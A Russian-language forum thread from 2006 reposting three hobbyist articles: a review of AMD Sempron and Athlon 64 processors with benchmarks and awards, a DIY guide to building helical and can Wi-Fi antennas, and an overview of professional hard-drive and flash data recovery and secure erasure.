Этот материал будет полезен в первую очередь тем, кто уже заранее определился с выбором типа платформы для своего будущего компа и склоняется больше к процессорам от компании AMD. Мы надеемся, что с помощью данного обзора, ты сможешь не только ознакомиться с предлагаемыми на рынке процессорами, но и получишь поверхностное представление о технологических особенностях камней.

Тестируемое оборудование

AMD Sempron 3000+

AMD Sempron 3100+

AMD Sempron 3300+

AMD Sempron 3400+

AMD Athlon 64 3000+

AMD Athlon 64 3500+

AMD Athlon 64 X2 3800+

AMD Athlon 64 X2 4200+

Тестовый стенд Socket 939

Материнская плата: GigaByte GA-K8NF-9, nForce4

Кулер: AMD BOX

Память, Мб: 1024, PC3200(400Mhz) Patriot (PSD1G400)

Винчестер, Гб: 80, Seagate Barracuda, 7200rpm

Видеоплата: 256, ASUS EN6600GT HTD, PCI-E

Оптический привод: ASUS DRW-1608P

Блок питания, Вт: 350, AcBel (API4PC28)

Тестовый стенд Socket 754

Материнская плата: GigaByte GA-K8NE nForce4

Кулер: AMD BOX

Память, Мб: 1024, PC3200(400Mhz) Patriot (PSD1G400)

Винчестер, Гб: 80, Seagate Barracuda, 7200rpm

Видеоплата: 256, ASUS EN6600GT HTD, PCI-E

Оптический привод: ASUS DRW-1608P

Блок питания, Вт: 350, AcBel (API4PC28)

ЭКОНОМИЧЕСКИЙ АСПЕКТ

Обратим для начала свое внимание на динамику изменения цен на процессоры компании AMD. Вполне возможно, что ты заметил, как сильно подорожали камешки у конкурента Intel, и сильно засомневался в разумности выбора процессоров именной этой марки. Давай постараемся разобраться в сложившейся ситуации. Итак, все мы привыкли к тому, что со временем цены на «камни» должны падать в связи с развитием технологий. Появляются новые, более современные, дорогие и мощные решения, и, соответственно, на железо предыдущего поколения цены снижаются. Однако, совсем недавно картина резко изменилась. В прошлом, 2005 году, вплоть до конца июля цены на линейку камней AMD Athlon 64 постепенно падали. Однако, начиная с осеннего периода и кончая февралем нынешнего года, цена на процессоры марки AMD выросла на 50-60 %. Сложившееся положение вещей может быть объяснено только высоким спросом на процессоры серии Athlon 64. Как следствие, образовался дефицит недорогих процессоров AMD. Мало того, компания AMD столкнулась с проблемой подорожания на внутреннем рынке кремниевых пластин. Однако, на данный момент цены упали до июльских и ситуация более-менее стабилизировалась, так что причин для серьезного беспокойства нет. Сейчас разумно брать именно процессоры AMD – конечно пока не случился еще один катаклизм, и как следствие, сильный рост цен.

ТЕХНОЛОГИИ

Поскольку в нашем тесте представлены процессоры трех марок, а именно AMD Athlon 64 X2, AMD Athlon 64 и AMD Sempron, то нам стоит разобраться в различиях между данными типами камней. Процессоры категории Sempron представляют собой наиболее доступный по ценовому критерию вариант. Его отличают небольшой объем кэша второго уровня – либо 128, либо 256 Кб в зависимости от типа процессора. Изготовляются данные камешки под 754 сокет, однако недавно появились более дорогие варианты под 939 разъем. Соответственно, последний покупателю дороже выйдет, но зато эстетам приятно. Построены CPU Sempron на ядре Palermo и, в принципе похожи на давно известные Athlon XP с измененной формулой расчета процессорного рейтинга. К созданию AMD Athlon 64 инженеры подошли серьезнее. Размеры кэша L2 повышены до 512 и 1024 Кб в зависимости от модели. Их отличают от предыдущих камешков улучшенная 64-разрядная архитектура, которая позволяет осуществлять обработку как 32-разрядных, так и 64-разрядных приложений. Выделяются они также поддержкой и использованием таких широко известных технологий AMD как Cool ‘n’ Quiet и HyperTransport. Здесь в основном используются ядра San Diego (для более мощных процессоров) и Venice. Следующий класс процессоров AMD Athlon 64 X2 представляет собой два процессора одновременно интегрированных на один кристалл. Следовательно, такой CPU получает удвоенную производительность, особенно в многозадачном режиме. К сожалению, за это и заплатить придется приличные деньги.

Методика тестирования

Для тестирования был использован стандартный набор программ. Помимо синтетического бенчмарка 3D Mark 2005 били также задействованы WinRaf и SuperPI. В качестве игрового приложения был выбран продукт Half-Life 2 – столь популярный среди геймеров всего мира. При этом разрешение было понижено до минимума 640х480 для наибольшей зависимости результата от процессора. Кроме того, с помощью утилиты Gordian Knot осуществлялась обработка видеопотока кодеком DivX 5.11 и сжатие аудиофайла в формат MP3 кодеком Lame. Тесты с разгоном осуществлялись по стандартной в таких случаях методике. Ступенчато повышалась частота FSB с последующей регулировкой подаваемого напряжения для получения максимального и вместе с тем стабильного результата.

AMD Sempron 3000+

Частота работы, ГГц: 1.8 ГГц

Кэш L2, Кб: 128

Технология, мкм: 0.13

Ядро: Palermo

Частота шины: 1600

Разъем: 754 Socket

Начнем наш обзор с самой младшей модели в линейке камней AMD Sempron. Обладая серьезной частотой в 1.8 ГГц, этот малыш способен составить серьезную конкуренцию существующим бюджетным решениям. Слабый кэш не мешает данному устройству показывать хорошие результаты, как в играх, так и в рабочих приложениях. Между тем, возможности ядра Palermo и платформы Socket 754 делают свое дело, и на фоне тех же процессоров AMD Athlon XP рассматриваемый камешек выглядит более уверенно.

Очень слабый кэш данного устройства объемом в 128 кб – это еще пол беды. Учитывая то, что AMD рассчитывает окончательно избавиться от 0.13 мкм процессоров в производственной программе, то тут процессоры Sempron не являются исключением. Выгоднее, на наш взгляд выглядят камешки семейства AMD Athlon 64, которые не только производительнее и функциональнее, но и не сильно отличаются по цене – взять хотя бы тот же AMD Athlon 64 3000+, который отличается от рассматриваемой модели всего на пару десятков «зеленых президентов».

AMD Sempron 3100+

Частота работы, ГГц: 1.8 ГГц

Кэш L2, Кб: 256

Технология, мкм: 0.13

Ядро: Palermo

Частота шины: 1600

Разъем: 754 Socket

Как ты можешь убедиться, изучив технические характеристики, этот камень сильно от предыдущего AMD Sempron 3000+ не отличается, разве что инженерами был в два раза увеличен кэш второго уровня. Для данного процессора обеспечивается поддержка всевозможных: IA-32, 3Dnow, enhanced 3Dnow, SSE, SSE2 и MMX. AMD Sempron 3100+, как и предыдущий, имеет поддержку технологии Cool ‘n’ Quiet и антивирусной защиты, предоставленной NX-битом. Разгоняется этот CPU хорошо, благодаря тому, что является практически самым младшим в линейке, так что оверклокерам есть, где разгуляться.

К сожалению, в связи с особенностями платформы c поддержкой Socket 754, контроллер памяти располагается на процессоре, а не в чипсете. Так что стоит забыть о работе памяти в двухканальном режиме.

AMD Sempron 3300+

Частота работы, ГГц: 2 ГГц

Кэш L2, Кб: 128

Технология, мкм: 0.9

Ядро: Palermo

Частота шины: 1600

Разъем: 754 Socket

Этот процессор - еще один представитель линейки Sempron в нашем тесте. К выпуску данного устройства производители материнских плат основательно подготовились. Ведь именно Sempron 3300+ за счет своего высокого множителя - 10.0х позволит разгонять ядро Palermo степпинга E до частот свыше 2.6 ГГц. Дело в том, что большинство продаваемых до этого материнских плат под Socket 754 не могут похвалиться возможностью гарантированной работы на частоте тактового генератора порядка 300 МГц. Такой высокий множитель снимает проблему, так как для достижения частоты 2.6 ГГц тот же Sempron 3300+ нужно будет разогнать "всего лишь" до 260 МГц по шине. Так что важность данного устройства для оверклокеров со скромными финансовыми возможностями неоценима.

Кэш второго уровня безжалостно урезан до 128 Кб, так особо выдающейся производительностью этот камешек не блещет. До роли процессора под игровые платформы данное устройство явно не дотягивает, а под бюджетные системы такой камень ставить дороговато.

AMD Sempron 3400+

Частота работы, ГГц: 2 ГГц

Кэш L2, Кб: 256

Технология, мкм: 0.9

Ядро: Palermo

Частота шины: 1600

Разъем: 754 Socket

В последнее время стремительно растет ассортимент процессоров марки Sempron. Вот и пополнился он новой моделью AMD Sempron 3400+. Причины побудившие компанию AMD к такому шагу вполне понятны. Процессоры AMD Sempron дают новую жизнь Socket 754 и возможность сбыть со складов устаревшие марки материнских плат. Данный девайс по сравнению с предыдущей моделью в линейке Sempron 3300+ обладает увеличенным объемом кэша второго уровня – 256 Кб против 128 Кб в предыдущем варианте. Однако, архитектура K8 не так выигрывает от увеличения объема кэша, как от увеличения тактовой частоты. Отсюда и такая разница в рейтинговых «плюсах» названия. Здесь процессоры отличаются всего на 100 единиц, в отличие от более ранних моделей, где мы наблюдали разницу в 200 «плюсов».

Новинки всегда бьют по карману потребителя. Вот и теперь производитель не стремится снижать цены на новое, и, в то же время, устаревающее оборудование.

AMD Athlon 64 3000+

Частота работы, ГГц: 1.8 ГГц

Кэш L2, Кб: 512

Технология, мкм: 0.9

Ядро: Venice

Частота шины: 1800

Разъем: 939 Socket

Имеются предположения, что модель AMD Athlon 64 3000+ представляет собой отбракованную версию процессора AMD Athlon 64 3200+, у которой, по какой-то причине не заработал 1 Мб кэш полностью. То же мы могли наблюдать и с процессорами семейства AMD Duron. Между тем, радует то, что инженеры компании AMD не стали изменять другие параметры процессора, и, в остальном, модель типа 3000+ ничем не отличается от модели 3200+. И если бы не заниженный объем кэша, который все-таки влияет на производительность, рассматриваемый процессор стал бы отличным выбором. Поскольку этот камень является самой младшей моделью в линейке Athlon 64, то он обладает отличным разгонным потенциалом. Все радости современной жизни к процессору прилагаются – 64-битная архитектура и поддержка Cool ‘n’ Quiet.

Не взирая на все достоинства данного процессора, назвать его игровым довольно сложно. Так что фанатам погони за FPS рекомендуется поискать что-то более мощное.

AMD Athlon 64 3500+ (Лучшая покупка)

Частота работы, ГГц: 2.2 ГГц

Кэш L2, Кб: 1024

Технология, мкм: 0.9

Ядро: Venice

Частота шины: 2000

Разъем: 939 Socket

Это - самый мощный процессор из представленных в тесте одноядерных камней. Суди сам - при довольно высокой частоте работы кристалла, данное устройство обладает хорошим объемом КЭШа второго уровня – целый мегабайт. При этом он наделен всеми доступными на сегодняшний день технологиями от AMD – процессор от излишнего нагрева спасет Cool ‘n’ Quiet, а NX-бит станет отличным помощником твоему антивирусу. Между тем обрати внимание на разгонный потенциал данного устройства. Конечно, тебе может попасться процессор, который будет гнаться хуже – это как повезет. Однако, наш подопытный экземпляр дал 26-процентный прирост по производительности, что только характеризует его с хорошей стороны. Особенным плюсом можно назвать его цену – на сегодняшний день данный процессор является отличным выбором для ПК средней ценовой категории.

Именно потому, что особенных минусов замечено не было и данное устройство показало себя с лучшей стороны, мы вручаем ему награду «Лучшая покупка» за оптимальное соотношение качества и цены.

AMD Athlon 64 X2 3800+ (Выбор редакции)

Частота работы, ГГц: 2 ГГц

Кэш L2, Кб: 2 x 512

Технология, мкм: 0.9

Ядро: Manchester (2 x Venice)

Частота шины: 2000

Разъем: 939 Socket

Данный процессор является самой младшей моделью в линейке двуядерных устройств от AMD, что не мешает ему показывать феноменальную производительность. Контролеры памяти и шины Hyper Transport у двуядерных процессоров AMD общие, стало быть, оба ядра делят их между собой. Особым плюсом является возможность установки таких процессоров на любую материнскую плату, способную выдержать AMD Athlon 64 FX. Правда, с предварительным апгрейдом BIOS’а платы. Гонится такой девайс гораздо лучше, в отличие от того же AMD Athlon 64 X2 4200+. Между тем все необходимые радости для высокотехнологичной жизни имеются – и поддержка 64-битного софта, и Cool ‘n’ Quiet, и NX-бит. Между тем, у данного процессора довольно низкий уровень тепловыделения, что по нраву придется всем.

Данный камень и попрекнуть не в чем – и разгоняется лучше старших собратьев, и стоит не так дорого, как мог бы. Потому, на наш взгляд и нет причин, чтобы не вручить премию «Выбор редакции» за самый лучший трудовой результат.

AMD Athlon 64 X2 4200+

Частота работы, ГГц: 2.2 ГГц

Кэш L2, Кб: 2 x 512

Технология, мкм: 0.9

Ядро: Manchester (2 x Venice)

Частота шины: 2000

Разъем: 939 Socket

Отличается от предыдущего собрата AMD Athlon 64 X2 4200+ только частотой. Она на 0.2 ГГц больше, чем в предыдущем варианте. Это позволяет ему отлично справляться, как со стандартными задачами, так и с мультизадачностью. Прикупив такой камешек, не забудь обновить свой BIOS или заранее приобрести материнскую плату с поддержкой двуядерных процессоров AMD. Иначе процессор будет работать только в половину своей могучей силы. Между тем, сам понимаешь, что такое устройство полностью экипировано инженерами всем необходимым от Cool ‘n’ Quiet до NX-бита, так что разочарованным ты не останешься.

Такой процессор можно смело назвать HI-End’ом, ведь его цена действительно оправдывает это звание. За такие деньги можно приобрести бюджетный системник. Однако может быть кому-то это будет и по карману, поскольку за полгода процессоры под маркой X2 успели солидно подешеветь примерно на 35 процентов. Так что если поднапрячься, можно взять и сейчас.

ВЫВОДЫ

Все представленные в обзоре процессоры имеют свои слабые стороны, у одних - высокая цена, а у других - низкая производительность. Но, раздавая награды, мы старались быть наиболее объективными. Гражданам, подыскивающим недорогой процессор под домашнюю систему, советуем обратить внимание на варианты типа AMD Athlon 64 3000+ или AMD Sempron 3300+. Для машины категории «и поиграть, и поработать» рекомендуем победителя в номинации «Лучшая покупка» AMD Athlon 64 3500+. А желающим собрать сильный агрегат и при этом сэкономить отлично подойдет камень AMD Athlon 64 X2 3800+, который мы наградили призом «Выбор Редакции».





--------------------
Самые лучшие отзывы обо мне : [лопатой мозги вправить ], [Oбиженный жизнью заморыш],[ грубый и туповатый] , [не хватает интеллекта смотреть на мир шире. И все враги.], [озлобленный мальчик, помешанный на «членах» ] , [узколобость и шовинизм - это к имбецилам и другим болезням]
Пользователь offlineПрофайлОтправить личное сообщение
Вернуться к началу страницы
+Цитировать сообщение
Metallica
сообщение Nov 20 2006, 13:43
Сообщение #34


Oбиженный жизнью заморыш
Group Icon

Группа: Administrators
Сообщений: 2 136
Регистрация: 4-August 06
Из: Матрица
Пользователь №: 504
Имя: TONY MONTANO
Настроение: KILL EM ALL
Заходит на форум с гостевика или полного инета.



Сигналим без пощады

Спиральная антенна

Что нужно

Стафф: Пластиковая труба диаметром 40 мм и длиной 0.5 метра.

Достать: Хозяйственный магазин

Деньги: 50р

Стафф: Термоусадка диаметром 52 мм и длиной 0.5 метра.

Достать: Радиорынок

Деньги: 150р

Стафф: Медная проволока. Диаметр сердечника 1.5 мм. Длина 4 метра.

Достать: Радиорынок или хозяйственный магазин

Деньги: 30р

Стафф: Алюминевая пластина. Толщиной должна быть пару миллиметров.

Достать: Пункт приема цветных металлов. Дворник с алюминиевой лопатой. Свалка с мусором.

Деньги: Бесплатно. Если у дворника, 50р.

Стафф: N-type коннектор.

Достать: На радиорынках редкость. Можно купить в инете: www.mobile-locman.ru.

Деньги: 300р

Стафф: Болт с гайкой

Достать: Достать, надеюсь, не проблема

Деньги: Бесплатно

Стафф: Клей Момент

Достать: У любого токсикомана всегда есть тюбик

Деньги: 20 р

Инструмент: Электродрель

Достать: У рукастого соседа сверху. Потом покажешь ему свою антенну.

Инструмент: Болгарка, лобзик или ножовка по металлу.

Достать: В шкафу с дедушкиными инструментами

Инструмент: Паяльник 100 Вт

Достать: Радиорынок, 80 р.

Инструмент: Сверло 16 мм. Можно поменьше, но будет геморрой.

Достать: Хозяйственный магазин

По пунктам:

1. Аккуратно намотай на трубу 12 витков провода, подгони один к одному, чтобы обмотка нигде не топорщилась

2. Аккуратно сними полученную спиральку с трубы

3. На трубе через каждые 33 мм нарисуй 12 рисок

4. Обмажь трубу клеем «Момент» и подожди чуть-чуть

5. Аккуратно надеть на трубу спиральку из провода, разположив витки по отмеченным рискам

6. Прижми со всей силы спиральку к трубе, чтобы приклеилась. Держать нужно минут 10

7. Когда проволока приклеится, надень на трубу термоусадку и обрежь по месту

8. При помощи фена или газовой плиты раномерно нагрей трубу с еще болтающейся термоусадкой. Она сразу начнет съеживаться.

9. Когда пластик обтянет трубу с проволокой, дай будущей антенне остыть

10. Из алюминиевого листа вырежи квадрат со стороной около 20 см

11. В центре просверли дырку 5 мм сверлом

12. Прикрути к пластине-отражателю пластиковую заглушку трубы

13. Рядом с заглушкой просверли 16 мм сверлом дырку под коннектор. Если у тебя сверло меньше, чем 16 мм, можно увеличить дырку, наклоняя дрель из стороны в сторону

14. Припаяй к концу обмотки иглу коннектора

15. Вставь ее внутрь и закрепи коннектор

16. Вставь трубу в заглушку

17. Остаток кабеля легко выбрать, слегка повернув трубу вокруг своей оси

Антенна-банка

Банка диаметром 7-10 см и соответствующей длиной. Хорошо подошла из-под дрянного растворимого кофе. Основное требование – чтобы была нерифленой, то есть с гладкими стенками.

В супермаркете

В зависимости от содержимого банки.

Стафф: N-type коннектор.

Достать: На радиорынках редкость. Можно купить в инете: www.mobile-locman.ru.

Деньги: 300р

Кусок проволоки





--------------------
Самые лучшие отзывы обо мне : [лопатой мозги вправить ], [Oбиженный жизнью заморыш],[ грубый и туповатый] , [не хватает интеллекта смотреть на мир шире. И все враги.], [озлобленный мальчик, помешанный на «членах» ] , [узколобость и шовинизм - это к имбецилам и другим болезням]
Пользователь offlineПрофайлОтправить личное сообщение
Вернуться к началу страницы
+Цитировать сообщение
Metallica
сообщение Nov 20 2006, 17:54
Сообщение #35


Oбиженный жизнью заморыш
Group Icon

Группа: Administrators
Сообщений: 2 136
Регистрация: 4-August 06
Из: Матрица
Пользователь №: 504
Имя: TONY MONTANO
Настроение: KILL EM ALL
Заходит на форум с гостевика или полного инета.



Привет с того света




Вся правда о восстановлении данных

Парадокс, но самые важные данные мы с завидным упорством храним на жестком диске, который справедливо можно назвать самой ненадежной частью нашего компьютера. И вот, когда он в очередной раз посыплется, мы опять будем чесать репу и винить себя за то, что не сделали бэкап. А быть может, вообще начнем паниковать, если на диске были данные чрезвычайной важности. Единственное решение в данной ситуации — нести накопитель специалистам и ждать, пока они прооперируют. Так вот о том, как гуру восстанавливают данные с убитых накопителей, расскажет Хозяинов Николай, директор московской фирмы R.LAB.

Невозможное возможно

Спешу тебя обрадовать. Вне зависимости от того, определяется ли жесткий диск при загрузке компьютера, раскручивается он или нет, надежда есть всегда. Как в случае аппаратных, так и программных неполадок вероятность успешного восстановления данных примерно одинакова и, согласно статистике R.LAB, составляет порядка 90%. Цифра, согласись, обнадеживающая.

Далее мы будем рассматривать основные виды проблем, которые могут случиться с хардом. Но, чтобы правильно понять их суть, стоит проинструктировать тебя о внутреннем устройстве харда. Основные его компоненты — это плата управления (она же контроллер) и гермоблок (так называемая банка). На плате находятся ОЗУ, ПЗУ, процессор и другая электроника, необходимая для передачи и обработки всевозможных сигналов, а также управления содержимым гермоблока. В самом гермоблоке расположен шпиндельный двигатель с одним или несколькими магнитными дисками (блинами) и блок магнитных головок (БМГ), с микросхемой коммутатора. Гермоблок, несмотря на свое название, у большинства современных жестких дисков герметичным не является. Он сообщается с атмосферой через специальный фильтр для выравнивания давлений. Кроме того, внутри гермоблока стоит специальный фильтр, который постоянно очищает находящийся внутри воздух. В случае повреждения поверхности блина, частички магнитного слоя оседают на этом фильтре, и он темнеет.

Помимо исправного состояния железа, необходимо четкое соответствие версии микропрограммы в ПЗУ платы управления и специальной информации в служебной зоне жесткого диска именно этому гермоблоку и плате управления. Мало этого, на некоторых моделях жестких дисков нанесение сервометок (низкоуровневая разметка поверхности диска осуществляемая на заводе) выполнено таким образом, что для работы диска контроллеру еще нужна адаптивная информация, уникальная для каждого экземпляра этой модели. Как правило, она содержится одновременно в ПЗУ и служебной зоне.

Логические ошибки

Если носитель исправен, то потеря информация чаще всего происходит как результат возникновения ошибок в таблице разделов или в структурах файловой системы. Это может произойти, например, из-за некорректного выключения компьютера, сбоев в работе программного и аппаратного обеспечения. В большинстве случаев данные при этом физически остаются на диске, но теряются сведения об их расположении. Выражается это в исчезновении одного или нескольких разделов жесткого диска, отображении раздела с файловой системой как неотформатированного, исчезновении отдельных файлов и каталогов. К этой же категории относится и восстановление случайно удаленных файлов.

Реанимация данных осуществляется с помощью специального софта, в полуавтоматическом режиме или вручную. При использовании полуавтоматических способов сначала производится сканирование всех данных, содержащихся на носителе. После чего на основе обнаруженной служебной информации составляется карта расположения фрагментов восстанавливаемых данных. На этой карте отображены сведения о том, какой кластер к какому файлу относится, а также размеры, названия и другие атрибуты элементов сканируемой файловой системы. Затем выбранные данные переносятся (то есть восстанавливаются) на другой жесткий диск.

В некоторых нетипичных случаях, несмотря на наличие данных на диске, программы их обнаружить не могут, и тогда в дело вступают программы для редактирования содержимого диска на низком уровне, а также прямые руки специалиста. Например, был случай, когда на USB-флэшке ни одна программа не могла найти нужные файлы. Специалист посмотрел и выяснил, что значительная часть FAT отсутствует, а на ее месте находится непонятный мусор. Во время дальнейшего изучения инженер обнаружил недостающий кусок в конце накопителя и скопировал его на надлежащее место. После этого все сразу нашлось и корректно открылось. Как могла возникнуть подобная неисправность, непонятно.

Сбойные сектора

Вышеперечисленные ошибки, влекущие за собой логическую потерю информации, могут возникнуть из-за наличия блоков, которые читаются с ошибками (бэд-сектора). К ним добавляются ошибки чтения-записи. Если у тебя ни с того ни с сего перестала загружаться винда, то, скорее всего, это произошло из-за появления бэд-секторов. На современных накопителях всегда присутствует какое-то количество сбойных секторов, которые с помощью специального алгоритма исключены из использования и прозрачно заменены нормально работающими секторами с резервных цилиндров. Если в процессе работы микропрограмма диска обнаруживает сектор, который начинает сыпаться, она переносит с него данные на резервный и вносит его в список сбойных секторов. Для определения того, что сектор посыпался, есть свои методы и критерии. Например, если не удается правильно считать данные с первого раза, то он чаще всего считается сбойным. Таким образом, здоровье диска определяется, скорее, не наличием бэдов, а скоростью их появления. Бэды становятся видимыми, когда кончаются резервные секторы или алгоритм замены не срабатывает должным образом. Если количество бэдов небольшое (меньше 50), то восстановление данных можно провести теми же средствами, как и в случае логических ошибок. Если же бэдов много, то лучше снять посекторную копию на другой винт и затем работать уже с ней. Кроме того, существуют программно-аппаратные комплексы, специально предназначенные для вычитывания информации с дисков, имеющих бэд-сектора. Используя различные способы, они позволяют считывать из бэд-секторов информацию, доступ к которой не удается получить обычным способом. В специализированных организациях для работы с посыпавшимися дисками используется именно такое оборудование.

Ошибки в служебной информации

Нередко встречаются ситуации, когда накопитель физически исправен, но нормально не функционирует из-за сбоя в работе микропрограммы контроллера. В такой ситуации жесткий диск не определяется в BIOS или определяется неправильно, может издавать странные звуки, например, стучать. Иногда носитель определяется корректно, но при дальнейшей загрузке BIOS опять же выдает ошибку. Причины появления ошибок в служебке могут быть разными: начиная от неправильного реагирования на переполнение таблицы бэдов и заканчивая производственным браком при пайке процессора.

Или вот другой пример. В результате скачка напряжения сгорела плата управления на жестком диске (при этом коммутатор и головы, что часто бывает, остались целыми). Опытный админ решил попробовать восстановить данные самостоятельно. Для этого он купил такой же диск и перекинул контроллер на сгоревший. Только он не учел того, что у них разная карта голов и версии микропрограмм отличаются. У диска внутри один блин, но у одного экземпляра голова расположена сверху, а у другого — снизу. Запустив диск после перекидывания контроллера, админ незаметно для себя стер с винта всю служебную информацию и прибавил работу настоящему специалисту. Чтобы избежать этого печального результата, нужно предварительно залить в ПЗУ правильную версию микропрограммы исправного контроллера. Делается это, как правило, с помощью специализированного оборудования и программного обеспечения. На нем же восстанавливается и содержимое служебной зоны диска. После этого, в случае отсутствия других неисправностей, диск работает нормально.

Совсем по-другому производятся работы, если микропрограмма не может читать служебную информацию из-за наличия бэдов. При таком раскладе используются самые экзотические методы, доступные специалистам. О них рассказывать нет смысла.

Неисправный контроллер

Выход контроллера из строя может произойти по разным причинам, в том числе из-за скачка напряжения, банального перегрева и производственного дефекта. При этом диск стучит или не определяется при загрузке компьютера. А может, даже не раскручиваться.

Работа по восстановлению данных, в основном, заключается в замене или ремонте контроллера. Иногда требуется также перепрошивка микропрограммы или другой служебной информации. После ремонта восстановление данных происходит, как с исправного накопителя.

Неисправности в гермозоне

Этот тип неисправности чаще всего вызывает стук или скрежет в гермоблоке. Исключение — залипание головок и клин двигателя (в этом случае диск не раскручивается). Накопитель может как определяться, так и не определяться BIOS’ом. При выходе из строя одной или нескольких магнитных головок или коммутатора, для восстановления данных требуется вскрытие гермоблока и замена всего БМГ с коммутатором. В редких случаях, при выходе из строя коммутатора и исправных головках, БМГ не меняется, и производится перепайка коммутатора с исправного блока.


В случае залипания производится вскрытие гермозоны и отвод головок в зону парковки. Заклинивание двигателя устраняется его ремонтом или пересадкой блинов на исправный накопитель. После этого с диска производится копирование информации. В специализированных организациях для этого, как правило, используется то же оборудование и программы, что и для работы с посыпавшимися дисками.

Работы со вскрытием гермозоны рекомендуется проводить в специальных помещениях с высочайшим уровнем частоты или сконструированных для этих целей небольших камерах (аквариумах). Однако нередко работы осуществляются в обычном помещении, после чего перед закрытием крышки гермоблок продувается чистым воздухом из баллона. Практика показывает, что достигнутого таким образом уровня чистоты достаточно для нормальной работы диска в течение десятков часов, что вполне достаточно для снятия нужных данных.

После вскрытия гермоблока диск, в отличие от других случаев, к дальнейшему использованию не пригоден. Специалистам остается только считать данные и, грубо говоря, выкинуть его. Причина этого — недостаточный уровень точности и чистоты, необходимый для надежной работы диска. Такой уровень достижим только на заводе производителя.

Именно на выход из строя БМГ приходится большая часть случаев, когда восстановить данные невозможно. Головка при выходе из строя запиливает поверхность блина, и все драгоценные данные в буквальном смысле слова оседают на фильтре в виде серого налета. В связи с конструктивными свойствами и особенностями работы жестких дисков достаточно одного «запила» (не всей поверхности, а лишь одной небольшой части) для того, чтобы данные оттуда считать было невозможно. Или, по крайней мере, невозможно в рамках разумных финансовых затрат. Все это происходит потому, что головка при попадании на запиленную область мгновенно выходит из строя.

Реанимируем флэшку

Для восстановления данных с горелых флэшек используется специальные программаторы, на которых считывается содержимое выпаянной флэш-памяти. Специально разработанный для этих целей программатор производится московской фирмой Soft-Center. Основная трудность восстановления данных в этом случае — декодирование. Данные при записи на микросхему располагаются определенным, меняющимся от модели к модели способом. Производители о способах кодирования не рассказывают и, по всей видимости, рассказывать не собираются. Поэтому когда приносят на восстановление флэшку новой модели, сначала требуется определенное время, чтобы разобраться, каким образом на ней расположены данные. Другой вариант восстановления – найти точно такую же флэшку и перепаять на нее память с горевшей. В этом случае не нужно заниматься дешифрованием. Задачу значительно усложняет тот факт, что модельные ряды флэшек меняются очень часто. Найти точно такую же зачастую очень сложно или вообще невозможно.

Инструментарий специалиста

Основными инструментами грамотного специалиста по восстановлению данных являются голова и прямые руки. Следующим по важности является программно-аппаратный комплекс, который используется при диагностике и ремонте. Именно на этом оборудовании, в технологических режимах работы накопителей и производятся такие операции, как, например, перепрошивка ПЗУ-контроллера и восстановление служебной информации. Как правило, он представляет собой специальную плату, которая вставляется в PCI-слот обычного компьютера, и набор программного обеспечения. Совместно с этим оборудованием используются различные кабели, переходники, контроллеры управления питанием. Существует два наиболее известных у нас в стране комплекса: PC-3000, производства Ростовской фирмы ACELab и комплекс HRT, который производит московская BVG-Group. Они используются для работы с IDE- и SATA- дисками, а для SCSI-интерфейса доступен SCSI-тестер производства ACELab. Эти же комплексы закупаются и успешно используются в работе ведущими зарубежными компаниями.

Некоторые специалисты не пользуются покупными комплексами, а пишут свои программы для аналогичных целей (с диском в технологическом режиме можно работать и на обычном контроллере). Серьезными организациями в основном практикуется комплексный подход – используются возможности PC-3000 и HRT, плюс софт разработанный самостоятельно и совместно с партнерами, так как есть задачи, которые серийные комплексы решать пока не в состоянии. К примеру, ни в PC-3000, ни в HRT нет возможности работать с дисками производства Conner Technology (был такой производитель), и для этих целей нашим сотрудником была написана утилита. Сейчас она лежит в свободном доступе на сайте http://rlab.ru/files/.

Кроме того, в арсенал средств восстановителя входят различные программаторы для микросхем других типов, обычные паяльные станции, паяльные станции на горячем воздухе, электрические тестеры, микроскопы, осциллографы, пылезащитные боксы, плюс всякий мелкий инструмент типа хитрых пинцетов и съемников, отверток всяких.

Активно применяется и общеизвестный софт. С нашей точки зрения, лучшими являются продукты R-Studio и EasyRecovery. Для ковыряния диска на нижнем уровне обычно используется популярный шестнадцатеричный редактор WinHex. Помимо этого активно используются собственные разработки, а также софт, который идет со специализированным железом.

Не теряй надежду

Разумеется, мы не ставили себе цель научить тебя восстанавливать убитые жесткие диски — оставь это профессионалам. Но, прочитав статью, ты должен понять, насколько сложна работа специалистов по восстановлению данных. Используемые методы требуют многолетнего опыта и кропотливой работы. Но зато теперь ты понимаешь общие принципы и можешь смело нести умерший хард на реанимацию, с уверенностью, что данные, скорее всего, удастся восстановить.

Настоящие гуру помогут даже в самых экзотических случаях. К сожалению, о многих из них приходится молчать ввиду конфиденциальности. Но вот тебе пример: парням из R.LAB удалось восстановить данные с ноутбука, который ощутил на себе всю мощь цунами.

Самый главный миф о восстановление данных

Миф: Любые удаленные данные можно восстановить на основании остаточной намагниченности на краях дорожек. Она появляется из-за того, что головка не позиционируется с абсолютной точностью и всегда есть небольшое смещение. В доказательство обычно приводятся непонятные фотографии магнитных полей на старых дисках малой емкости (порядка сотен мегабайт).

Наш ответ: миф чистейшей воды. Теория, конечно, не исключает возможности восстановления данных — просто практически это представляется неимоверно дорогой затеей, которая вообще никак не гарантирует успех и, скорее всего, приведет к получению бессмысленной мешанины отрывков информации. Ну, скажем, остаточную намагниченность удалось считать с краев нескольких секторов. Что дальше? От каких записей эти куски? Недельной или, может, годовалой давности? Части ли это одного файла или разных, как они соотносятся между собой? Одни вопросы и абсолютно никаких ответов.

Но это еще не все. Для того чтобы получить эту мешанину, потребуется корректно интерпретировать и обработать полученную информацию о напряженностях магнитного поля, решить проблему отделения технической информации от пользовательской, декодировать (просто так ничего на харде не хранится — для записи используется целый набор алгоритмов сжатия и кодирования). В общем, ввиду ряда особенностей устройства жестких дисков стоимость этой операции сопоставима со стоимостью разработки новой модели диска, и результат будет применим только к этой конкретной модели.

Точно так же нельзя восстановить данные с куска блина или склеить разбитый блин и считать информацию оттуда. Поэтому если услышишь: «Есть умельцы, которые это делают. Вот у меня брат такого знает, он работает в ФСБ», то отправляй его куда подальше — он гонит.

Беспощадная расправа с данными

Для того чтобы гарантированно удалить данные с диска, его не надо привязывать к атомной бомбе и взывать. Вполне достаточно записать что-нибудь на то место, где хранилась конфиденциальная информация, пускай даже забить нулями. Это называется secure erase’ом и поддерживается массой программ. Acronis Drive Cleanser (www.acronis.ru), к примеру, поддерживает 7 алгоритмов безопасного удаления данных, в том числе многопроходных. «Восстановить данные после такого безобразия уже не удастся, даже частично», — говорят ведущие специалисты в этой области.

